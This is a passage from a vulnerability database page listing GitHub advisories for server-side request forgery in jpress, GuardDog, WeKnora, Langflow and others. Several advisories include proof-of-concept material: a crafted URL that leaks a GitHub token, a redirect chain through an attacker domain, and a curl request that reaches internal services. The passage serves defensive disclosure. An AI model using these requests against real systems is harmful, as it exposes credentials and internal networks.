CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
4795 vulnerabilities reference this CWE, most recent first.
GHSA-586R-QXPV-M44Q
Vulnerability from github – Published: 2024-10-11 21:31 – Updated: 2024-10-15 21:30A Server-Side Request Forgery (SSRF) vulnerability exists in the jpress <= v5.1.1, which can be exploited by an attacker to obtain sensitive information, resulting in an information disclosure.
{
"affected": [],
"aliases": [
"CVE-2024-46468"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-11T21:15:07Z",
"severity": "HIGH"
},
"details": "A Server-Side Request Forgery (SSRF) vulnerability exists in the jpress \u003c= v5.1.1, which can be exploited by an attacker to obtain sensitive information, resulting in an information disclosure.",
"id": "GHSA-586r-qxpv-m44q",
"modified": "2024-10-15T21:30:37Z",
"published": "2024-10-11T21:31:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-46468"
},
{
"type": "WEB",
"url": "https://github.com/JPressProjects/jpress/issues/190"
},
{
"type": "WEB",
"url": "https://gist.github.com/ilikeoyt/b396bbb9ef858105c46e999630e7afbe"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-587R-MC96-6F2P
Vulnerability from github – Published: 2026-05-11 14:45 – Updated: 2026-06-08 23:42Summary
The programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the GH_TOKEN used by GuardDog.
Description
ProjectScanner.scan_remote() takes a url, branch, and requirements_name, then constructs a raw GitHub URL by calling:
githubusercontent_url = url.replace("github", "raw.githubusercontent")
req_url = f"{githubusercontent_url}/{branch}/{requirements_name}"
resp = requests.get(url=req_url, auth=token)
Because this logic does not parse or validate the hostname, a crafted URL such as:
http://github@127.0.0.1:18081/owner/repo
is transformed into:
http://raw.githubusercontent@127.0.0.1:18081/owner/repo/main/requirements.txt
Requests interprets this as an HTTP request to 127.0.0.1:18081, and GuardDog includes the configured GitHub credentials via HTTP Basic Auth.
Reproduction summary
- Start an HTTP listener on
127.0.0.1:18081that logs the request path andAuthorizationheader. - Set
GIT_USERNAME=aliceandGH_TOKEN=supersecret. - Call
PypiRequirementsScanner().scan_remote("http://github@127.0.0.1:18081/owner/repo", "main", "requirements.txt"). - Observe a request to
/owner/repo/main/requirements.txtwithAuthorization: Basic YWxpY2U6c3VwZXJzZWNyZXQ=.
Key code paths
guarddog/scanners/scanner.py:361-365
Practical impact
This can expose repository-scanning infrastructure to:
- theft of the GitHub PAT configured in GH_TOKEN
- SSRF to internal or localhost services reachable by the scanner
- attacker-controlled dependency file content returned by the malicious endpoint
Prior public disclosure check
As of 2026-03-18, no matching public GitHub advisory, CVE, or public repo issue was found for this specific bug.
Suggested fix
Parse the input URL, require hostname == "github.com", validate the path shape (owner/repo), build the raw URL from parsed components instead of string replacement, and never send GitHub credentials to non-GitHub hosts.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "guarddog"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"last_affected": "2.9.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44971"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-11T14:45:08Z",
"nvd_published_at": "2026-05-27T15:16:29Z",
"severity": "HIGH"
},
"details": "# Summary\nThe programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller\u0027s GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the `GH_TOKEN` used by GuardDog.\n\n# Description\n`ProjectScanner.scan_remote()` takes a `url`, `branch`, and `requirements_name`, then constructs a raw GitHub URL by calling:\n\n```python\ngithubusercontent_url = url.replace(\"github\", \"raw.githubusercontent\")\nreq_url = f\"{githubusercontent_url}/{branch}/{requirements_name}\"\nresp = requests.get(url=req_url, auth=token)\n```\n\nBecause this logic does not parse or validate the hostname, a crafted URL such as:\n\n```text\nhttp://github@127.0.0.1:18081/owner/repo\n```\n\nis transformed into:\n\n```text\nhttp://raw.githubusercontent@127.0.0.1:18081/owner/repo/main/requirements.txt\n```\n\nRequests interprets this as an HTTP request to `127.0.0.1:18081`, and GuardDog includes the configured GitHub credentials via HTTP Basic Auth.\n\n# Reproduction summary\n1. Start an HTTP listener on `127.0.0.1:18081` that logs the request path and `Authorization` header.\n2. Set `GIT_USERNAME=alice` and `GH_TOKEN=supersecret`.\n3. Call `PypiRequirementsScanner().scan_remote(\"http://github@127.0.0.1:18081/owner/repo\", \"main\", \"requirements.txt\")`.\n4. Observe a request to `/owner/repo/main/requirements.txt` with `Authorization: Basic YWxpY2U6c3VwZXJzZWNyZXQ=`.\n\n# Key code paths\n- `guarddog/scanners/scanner.py:361-365`\n\n# Practical impact\nThis can expose repository-scanning infrastructure to:\n- theft of the GitHub PAT configured in `GH_TOKEN`\n- SSRF to internal or localhost services reachable by the scanner\n- attacker-controlled dependency file content returned by the malicious endpoint\n\n# Prior public disclosure check\nAs of 2026-03-18, no matching public GitHub advisory, CVE, or public repo issue was found for this specific bug.\n\n# Suggested fix\nParse the input URL, require `hostname == \"github.com\"`, validate the path shape (`owner/repo`), build the raw URL from parsed components instead of string replacement, and never send GitHub credentials to non-GitHub hosts.",
"id": "GHSA-587r-mc96-6f2p",
"modified": "2026-06-08T23:42:22Z",
"published": "2026-05-11T14:45:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/DataDog/guarddog/security/advisories/GHSA-587r-mc96-6f2p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44971"
},
{
"type": "PACKAGE",
"url": "https://github.com/DataDog/guarddog"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "GuardDog has a blind GitHub URL rewrite in remote project scanning causes SSRF and `GH_TOKEN` exfiltration"
}
GHSA-5899-42J8-FXPR
Vulnerability from github – Published: 2026-02-14 09:31 – Updated: 2026-02-14 09:31The MP3 Audio Player – Music Player, Podcast Player & Radio by Sonaar plugin for WordPress is vulnerable to Server-Side Request Forgery in versions 5.3 to 5.10 via the 'load_lyrics_ajax_callback' function. This makes it possible for authenticated attackers, with author level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.
{
"affected": [],
"aliases": [
"CVE-2026-1249"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-14T09:16:11Z",
"severity": "MODERATE"
},
"details": "The MP3 Audio Player \u2013 Music Player, Podcast Player \u0026 Radio by Sonaar plugin for WordPress is vulnerable to Server-Side Request Forgery in versions 5.3 to 5.10 via the \u0027load_lyrics_ajax_callback\u0027 function. This makes it possible for authenticated attackers, with author level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
"id": "GHSA-5899-42j8-fxpr",
"modified": "2026-02-14T09:31:34Z",
"published": "2026-02-14T09:31:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1249"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3453076/mp3-music-player-by-sonaar/trunk/sonaar-music.php"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/261aad1e-43fc-4927-a97d-85a001863023?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-58G2-VGPG-335Q
Vulnerability from github – Published: 2023-03-31 21:30 – Updated: 2023-04-07 22:47request-baskets up to v1.2.1 was discovered to contain a Server-Side Request Forgery (SSRF) via the component /api/baskets/{name}. This vulnerability allows attackers to access network resources and sensitive information via a crafted API request.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/darklynx/request-baskets"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-27163"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2023-03-31T22:44:28Z",
"nvd_published_at": "2023-03-31T20:15:00Z",
"severity": "MODERATE"
},
"details": "request-baskets up to v1.2.1 was discovered to contain a Server-Side Request Forgery (SSRF) via the component /api/baskets/{name}. This vulnerability allows attackers to access network resources and sensitive information via a crafted API request.",
"id": "GHSA-58g2-vgpg-335q",
"modified": "2023-04-07T22:47:43Z",
"published": "2023-03-31T21:30:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27163"
},
{
"type": "WEB",
"url": "https://gist.github.com/b33t1e/3079c10c88cad379fb166c389ce3b7b3"
},
{
"type": "PACKAGE",
"url": "https://github.com/darklynx/request-baskets"
},
{
"type": "WEB",
"url": "https://notes.sjtu.edu.cn/s/MUUhEymt7"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/174128/Request-Baskets-1.2.1-Server-Side-Request-Forgery.html"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/174129/Maltrail-0.53-Remote-Code-Execution.html"
},
{
"type": "WEB",
"url": "http://request-baskets.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "request-baskets vulnerable to Server-Side Request Forgery"
}
GHSA-58RV-96R6-2CPW
Vulnerability from github – Published: 2022-05-13 01:27 – Updated: 2022-05-13 01:27The Ping() function in ui/api/target.go in Harbor through 1.3.0-rc4 has SSRF via the endpoint parameter to /api/targets/ping.
{
"affected": [],
"aliases": [
"CVE-2017-17697"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-12-15T09:29:00Z",
"severity": "HIGH"
},
"details": "The Ping() function in ui/api/target.go in Harbor through 1.3.0-rc4 has SSRF via the endpoint parameter to /api/targets/ping.",
"id": "GHSA-58rv-96r6-2cpw",
"modified": "2022-05-13T01:27:29Z",
"published": "2022-05-13T01:27:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-17697"
},
{
"type": "WEB",
"url": "https://github.com/vmware/harbor/issues/3755"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-58WP-JWCH-FGJ5
Vulnerability from github – Published: 2026-05-28 12:30 – Updated: 2026-06-04 18:30FlowIntel up to version 3.3.0 contains a server-side request forgery (SSRF) vulnerability in the external reference URL probe functionality in app/case/task.py. An attacker who can submit an external reference URL can cause the application server to issue an HTTP HEAD request to an attacker-specified destination. Due to insufficient validation of the URL scheme and resolved destination address, affected versions may allow requests to loopback, link-local, private, reserved, or other restricted network resources, potentially enabling interaction with internal services or cloud metadata endpoints from the server's network context.
{
"affected": [],
"aliases": [
"CVE-2026-9813"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-28T10:16:40Z",
"severity": "MODERATE"
},
"details": "FlowIntel up to version 3.3.0\u00a0contains a server-side request forgery (SSRF) vulnerability in the external reference URL probe functionality in app/case/task.py. An attacker who can submit an external reference URL can cause the application server to issue an HTTP HEAD request to an attacker-specified destination. Due to insufficient validation of the URL scheme and resolved destination address, affected versions may allow requests to loopback, link-local, private, reserved, or other restricted network resources, potentially enabling interaction with internal services or cloud metadata endpoints from the server\u0027s network context.",
"id": "GHSA-58wp-jwch-fgj5",
"modified": "2026-06-04T18:30:25Z",
"published": "2026-05-28T12:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9813"
},
{
"type": "WEB",
"url": "https://github.com/flowintel/flowintel/commit/68b523b47854c54bf36fd706c0fd5353063b5409"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:N/VA:N/SC:L/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:N/AU:X/R:X/V:X/RE:L/U:Green",
"type": "CVSS_V4"
}
]
}
GHSA-595M-WC8G-6QGC
Vulnerability from github – Published: 2026-03-05 21:49 – Updated: 2026-03-09 13:13Summary
The application's "Import document via URL" feature is vulnerable to Server-Side Request Forgery (SSRF) through HTTP redirects. While the backend implements comprehensive URL validation (blocking private IPs, loopback addresses, reserved hostnames, and cloud metadata endpoints), it fails to validate redirect targets. An attacker can bypass all protections by using a redirect chain, forcing the server to access internal services. Additionally, Docker-specific internal addresses like host.docker.internal are not blocked.
Details
The /api/v1/knowledge-bases/{id}/knowledge/url endpoint validates the initial URL but follows HTTP redirects without re-validating the destination. This allows attackers to:
1. Submit a URL to an attacker-controlled domain (passes validation)
2. Have that domain respond with a 307 redirect to an internal service
3. The backend automatically follows the redirect without checking if the destination is restricted
4. The internal service response is exposed to the attacker
Validation Gaps
- The
IsSSRFSafeURL()function (ininternal/utils/security.go) validates the initial URL thoroughly, but there's no validation of HTTP redirect targets host.docker.internalis not in therestrictedHostnameslist- Docker-specific IP ranges (172.17.0.0/16 for bridge networks) are not explicitly blocked
- The code validates
parsed.Hostname()from the initial URL, but redirect Location headers bypass this check
Root Cause Analysis
The backend makes the security mistake of trusting the server's HTTP client library to be secure. In Go, when using http.Get() or similar functions, the standard library will automatically follow redirects up to 10 times by default. The SSRF validation only checks the URL passed to the endpoint, not intermediate redirects.
PoC
Step 1: Set up an attacker-controlled server that responds with a redirect:
HTTP/1.1 307 Temporary Redirect
Location: http://host.docker.internal:7777
Content-Type: text/html
Access-Control-Allow-Origin: *
Step 2: Send the request with a clean URL:
POST /api/v1/knowledge-bases/dbadd153-9e60-4213-9553-9f78dbcba0dc/knowledge/url HTTP/1.1
Host: localhost
Content-Type: application/json
Authorization: Bearer <valid_token>
{"url":"https://attacker-domain.com","tag_id":""}
The URL https://attacker-domain.com passes all validation checks because:
✓ Valid https:// scheme
✓ Not an IP address (it's a domain)
✓ Not in restricted hostnames
✓ Doesn't resolve to a private IP (assuming attacker controls a public domain)
Step 3: The backend's HTTP client follows the redirect to http://host.docker.internal:7777, which:
✗ Is not validated
✗ host.docker.internal is not in the blocklist
✗ Successfully accesses the internal service
Impact
Vulnerability Type: Server-Side Request Forgery (SSRF) via HTTP Redirect
Who is Impacted: - The organization running the application - Internal services and databases accessible from the application container - Services in the Docker network (other containers, internal infrastructure) - Sensitive data stored in internal services
Potential Consequences: - Access to internal databases (PostgreSQL, MongoDB, MySQL) running in Docker - Information disclosure from internal services (Redis cache, configuration servers) - Access to Docker container metadata and environment variables - Lateral movement to other containers in the same Docker network - Exfiltration of sensitive configuration, API keys, or database credentials - Potential RCE if internal services have exploitable vulnerabilities
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.2.11"
},
"package": {
"ecosystem": "Go",
"name": "github.com/Tencent/WeKnora"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.2.12"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-30247"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-05T21:49:03Z",
"nvd_published_at": "2026-03-07T04:15:54Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nThe application\u0027s \"Import document via URL\" feature is vulnerable to Server-Side Request Forgery (SSRF) through HTTP redirects. While the backend implements comprehensive URL validation (blocking private IPs, loopback addresses, reserved hostnames, and cloud metadata endpoints), it **fails to validate redirect targets**. An attacker can bypass all protections by using a redirect chain, forcing the server to access internal services. Additionally, Docker-specific internal addresses like `host.docker.internal` are not blocked.\n\n### Details\n\nThe `/api/v1/knowledge-bases/{id}/knowledge/url` endpoint validates the initial URL but follows HTTP redirects without re-validating the destination. This allows attackers to:\n1. Submit a URL to an attacker-controlled domain (passes validation)\n2. Have that domain respond with a 307 redirect to an internal service\n3. The backend automatically follows the redirect without checking if the destination is restricted\n4. The internal service response is exposed to the attacker\n\n### Validation Gaps\n- The `IsSSRFSafeURL()` function (in `internal/utils/security.go`) validates the initial URL thoroughly, but there\u0027s no validation of HTTP redirect targets\n- `host.docker.internal` is not in the `restrictedHostnames` list\n- Docker-specific IP ranges (172.17.0.0/16 for bridge networks) are not explicitly blocked\n- The code validates `parsed.Hostname()` from the initial URL, but redirect Location headers bypass this check\n\n### Root Cause Analysis\nThe backend makes the security mistake of trusting the server\u0027s HTTP client library to be secure. In Go, when using http.Get() or similar functions, the standard library will automatically follow redirects up to 10 times by default. The SSRF validation only checks the URL passed to the endpoint, not intermediate redirects.\n\n### PoC\n\n**Step 1**: Set up an attacker-controlled server that responds with a redirect:\n\n```http\nHTTP/1.1 307 Temporary Redirect\nLocation: http://host.docker.internal:7777\nContent-Type: text/html\nAccess-Control-Allow-Origin: *\n```\n**Step 2**: Send the request with a clean URL:\n\n```http\nPOST /api/v1/knowledge-bases/dbadd153-9e60-4213-9553-9f78dbcba0dc/knowledge/url HTTP/1.1\nHost: localhost\nContent-Type: application/json\nAuthorization: Bearer \u003cvalid_token\u003e\n\n{\"url\":\"https://attacker-domain.com\",\"tag_id\":\"\"}\n```\n\nThe URL `https://attacker-domain.com` passes all validation checks because:\n\u2713 Valid `https://` scheme\n\u2713 Not an IP address (it\u0027s a domain)\n\u2713 Not in restricted hostnames\n\u2713 Doesn\u0027t resolve to a private IP (assuming attacker controls a public domain)\n\n**Step 3**: The backend\u0027s HTTP client follows the redirect to `http://host.docker.internal:7777`, which:\n\u2717 Is not validated\n\u2717 `host.docker.internal` is not in the blocklist\n\u2717 Successfully accesses the internal service\n\n### Impact\n\nVulnerability Type: Server-Side Request Forgery (SSRF) via HTTP Redirect\n\n**Who is Impacted**:\n- The organization running the application\n- Internal services and databases accessible from the application container\n- Services in the Docker network (other containers, internal infrastructure)\n- Sensitive data stored in internal services\n\n**Potential Consequences**:\n- Access to internal databases (PostgreSQL, MongoDB, MySQL) running in Docker\n- Information disclosure from internal services (Redis cache, configuration servers)\n- Access to Docker container metadata and environment variables\n- Lateral movement to other containers in the same Docker network\n- Exfiltration of sensitive configuration, API keys, or database credentials\n- Potential RCE if internal services have exploitable vulnerabilities",
"id": "GHSA-595m-wc8g-6qgc",
"modified": "2026-03-09T13:13:28Z",
"published": "2026-03-05T21:49:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Tencent/WeKnora/security/advisories/GHSA-595m-wc8g-6qgc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30247"
},
{
"type": "PACKAGE",
"url": "https://github.com/Tencent/WeKnora"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "WeKnora is Vulnerable to SSRF via Redirection"
}
GHSA-5993-7P27-66G5
Vulnerability from github – Published: 2025-12-19 22:52 – Updated: 2025-12-19 22:52Vulnerability Overview
Langflow provides an API Request component that can issue arbitrary HTTP requests within a flow. This component takes a user-supplied URL, performs only normalization and basic format checks, and then sends the request using a server-side httpx client. It does not block private IP ranges (127.0.0.1, the 10/172/192 ranges) or cloud metadata endpoints (169.254.169.254), and it returns the response body as the result.
Because the flow execution endpoints (/api/v1/run, /api/v1/run/advanced) can be invoked with just an API key, if an attacker can control the API Request URL in a flow, non-blind SSRF is possible—accessing internal resources from the server’s network context. This enables requests to, and collection of responses from, internal administrative endpoints, metadata services, and internal databases/services, leading to information disclosure and providing a foothold for further attacks.
Vulnerable Code
-
When a flow runs, the API Request URL is set via user input or tweaks, or it falls back to the value stored in the node UI.
https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/backend/base/langflow/api/v1/endpoints.py#L349-L359
python @router.post("/run/{flow_id_or_name}", response_model=None, response_model_exclude_none=True) async def simplified_run_flow( *, background_tasks: BackgroundTasks, flow: Annotated[FlowRead | None, Depends(get_flow_by_id_or_endpoint_name)], input_request: SimplifiedAPIRequest | None = None, stream: bool = False, api_key_user: Annotated[UserRead, Depends(api_key_security)], context: dict | None = None, http_request: Request, ):https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/backend/base/langflow/api/v1/endpoints.py#L573-L588
bash @router.post( "/run/advanced/{flow_id_or_name}", response_model=RunResponse, response_model_exclude_none=True, ) async def experimental_run_flow( *, session: DbSession, flow: Annotated[Flow, Depends(get_flow_by_id_or_endpoint_name)], inputs: list[InputValueRequest] | None = None, outputs: list[str] | None = None, tweaks: Annotated[Tweaks | None, Body(embed=True)] = None, stream: Annotated[bool, Body(embed=True)] = False, session_id: Annotated[None | str, Body(embed=True)] = None, api_key_user: Annotated[UserRead, Depends(api_key_security)], ) -> RunResponse: -
Normalization/validation stage: It only checks that the URL is non-empty and well-formed. No blocking of private networks, localhost, or IMDS.
https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L280-L289
```python def _normalize_url(self, url: str) -> str: """Normalize URL by adding https:// if no protocol is specified.""" if not url or not isinstance(url, str): msg = "URL cannot be empty" raise ValueError(msg)
url = url.strip() if url.startswith(("http://", "https://")): return url return f"https://{url}"```
https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L433-L438
```python url = self._normalize_url(url)
# Validate URL if not validators.url(url): msg = f"Invalid URL provided: {url}" raise ValueError(msg)```
-
On the server side, it sends a request to an arbitrary URL using httpx.AsyncClient and exposes the response body as metadata["result"].
https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L312-L322
python try: # Prepare request parameters request_params = { "method": method, "url": url, "headers": headers, "json": processed_body, "timeout": timeout, "follow_redirects": follow_redirects, } response = await client.request(**request_params)https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L335-L340
python # Base metadata metadata = { "source": url, "status_code": response.status_code, "response_headers": response_headers, }https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L364-L379
```python # Handle response content if is_binary: result = response.content else: try: result = response.json() except json.JSONDecodeError: self.log("Failed to decode JSON response") result = response.text.encode("utf-8")
metadata["result"] = result if include_httpx_metadata: metadata.update({"headers": headers}) return Data(data=metadata)```
PoC
PoC Description
- I launched a Langflow server using the latest
langflowai/langflow:latestDocker container, and a separate containerinternal-apithat exposes an internal-only endpoint/internalon port 8000. Both containers were attached to the same user-defined network (ssrf-net), allowing communication by name or via the IP 172.18.0.3. - I added an API Request node to a Langflow flow and set the URL to the internal service (
http://172.18.0.3:8000/internal). Then I invoked/api/v1/run/advanced/<FLOW_ID>with an API key to perform SSRF. The response returned the internal service’s body in theresultfield, confirming non-blind SSRF.
PoC
-
Langflow Setting
-
Exploit
bash curl -s -X POST 'http://localhost:7860/api/v1/run/advanced/0b7f7713-d88c-4f92-bcf8-0dafe250ea9d' \ -H 'Content-Type: application/json' \ -H 'x-api-key: sk-HHc93OjH_4ep_EhfWrweP1IwpooJ3ZZnYOu-HgqJV4M' \ --data-raw '{ "inputs":[{"components":[],"input_value":""}], "outputs":["Chat Output"], "tweaks":{"API Request":{"url_input":"http://172.18.0.3:8000/internal","include_httpx_metadata":false}}, "stream":false }' | jq -r '.outputs[0].outputs[0].results.message.text | sub("^json\n";"") | sub("\n$";"") | fromjson | .result'
Impact
- Scanning internal assets and data exfiltration: Attackers can access internal administrative HTTP endpoints, proxies, metrics dashboards, and management consoles to obtain sensitive information (versions, tokens, configurations).
- Access to metadata services: In cloud environments, attackers can use 169.254.169.254, etc., to steal instance metadata and credentials.
- Foothold for attacking internal services: Can forge requests by abusing inter-service trust and become the starting point of an SSRF→RCE chain (e.g., invoking an internal admin API).
- Non-blind: Because the response body is returned to the client, attackers can immediately view and exploit the collected data.
- Risk in multi-tenant environments: Bypassing tenant boundaries can cause cross-leakage of internal network information, resulting in high impact. Even in single-tenant setups, the risk remains high depending on internal network policies.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "langflow"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.7.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-68477"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-19T22:52:59Z",
"nvd_published_at": "2025-12-19T17:15:53Z",
"severity": "HIGH"
},
"details": "**Vulnerability Overview**\n\n\nLangflow provides an API Request component that can issue arbitrary HTTP requests within a flow. This component takes a user-supplied URL, performs only normalization and basic format checks, and then sends the request using a server-side httpx client. It does not block private IP ranges (127.0.0.1, the 10/172/192 ranges) or cloud metadata endpoints (169.254.169.254), and it returns the response body as the result.\n\nBecause the flow execution endpoints (/api/v1/run, /api/v1/run/advanced) can be invoked with just an API key, if an attacker can control the API Request URL in a flow, non-blind SSRF is possible\u2014accessing internal resources from the server\u2019s network context. This enables requests to, and collection of responses from, internal administrative endpoints, metadata services, and internal databases/services, leading to information disclosure and providing a foothold for further attacks.\n\n**Vulnerable Code**\n \n1. When a flow runs, the API Request URL is set via user input or tweaks, or it falls back to the value stored in the node UI.\n \n https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/backend/base/langflow/api/v1/endpoints.py#L349-L359\n \n ```python\n @router.post(\"/run/{flow_id_or_name}\", response_model=None, response_model_exclude_none=True)\n async def simplified_run_flow(\n *,\n background_tasks: BackgroundTasks,\n flow: Annotated[FlowRead | None, Depends(get_flow_by_id_or_endpoint_name)],\n input_request: SimplifiedAPIRequest | None = None,\n stream: bool = False,\n api_key_user: Annotated[UserRead, Depends(api_key_security)],\n context: dict | None = None,\n http_request: Request,\n ):\n ```\n \n https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/backend/base/langflow/api/v1/endpoints.py#L573-L588\n \n ```bash\n @router.post(\n \"/run/advanced/{flow_id_or_name}\",\n response_model=RunResponse,\n response_model_exclude_none=True,\n )\n async def experimental_run_flow(\n *,\n session: DbSession,\n flow: Annotated[Flow, Depends(get_flow_by_id_or_endpoint_name)],\n inputs: list[InputValueRequest] | None = None,\n outputs: list[str] | None = None,\n tweaks: Annotated[Tweaks | None, Body(embed=True)] = None,\n stream: Annotated[bool, Body(embed=True)] = False,\n session_id: Annotated[None | str, Body(embed=True)] = None,\n api_key_user: Annotated[UserRead, Depends(api_key_security)],\n ) -\u003e RunResponse:\n ```\n \n2. Normalization/validation stage: It only checks that the URL is non-empty and well-formed. No blocking of private networks, localhost, or IMDS.\n \n https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L280-L289\n \n ```python\n def _normalize_url(self, url: str) -\u003e str:\n \"\"\"Normalize URL by adding https:// if no protocol is specified.\"\"\"\n if not url or not isinstance(url, str):\n msg = \"URL cannot be empty\"\n raise ValueError(msg)\n \n url = url.strip()\n if url.startswith((\"http://\", \"https://\")):\n return url\n return f\"https://{url}\"\n ```\n \n https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L433-L438\n \n ```python\n url = self._normalize_url(url)\n \n # Validate URL\n if not validators.url(url):\n msg = f\"Invalid URL provided: {url}\"\n raise ValueError(msg)\n ```\n \n3. On the server side, it sends a request to an arbitrary URL using httpx.AsyncClient and exposes the response body as metadata[\"result\"].\n \n https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L312-L322\n \n ```python\n try:\n # Prepare request parameters\n request_params = {\n \"method\": method,\n \"url\": url,\n \"headers\": headers,\n \"json\": processed_body,\n \"timeout\": timeout,\n \"follow_redirects\": follow_redirects,\n }\n response = await client.request(**request_params)\n ```\n \n https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L335-L340\n \n ```python\n # Base metadata\n metadata = {\n \"source\": url,\n \"status_code\": response.status_code,\n \"response_headers\": response_headers,\n }\n ```\n \n 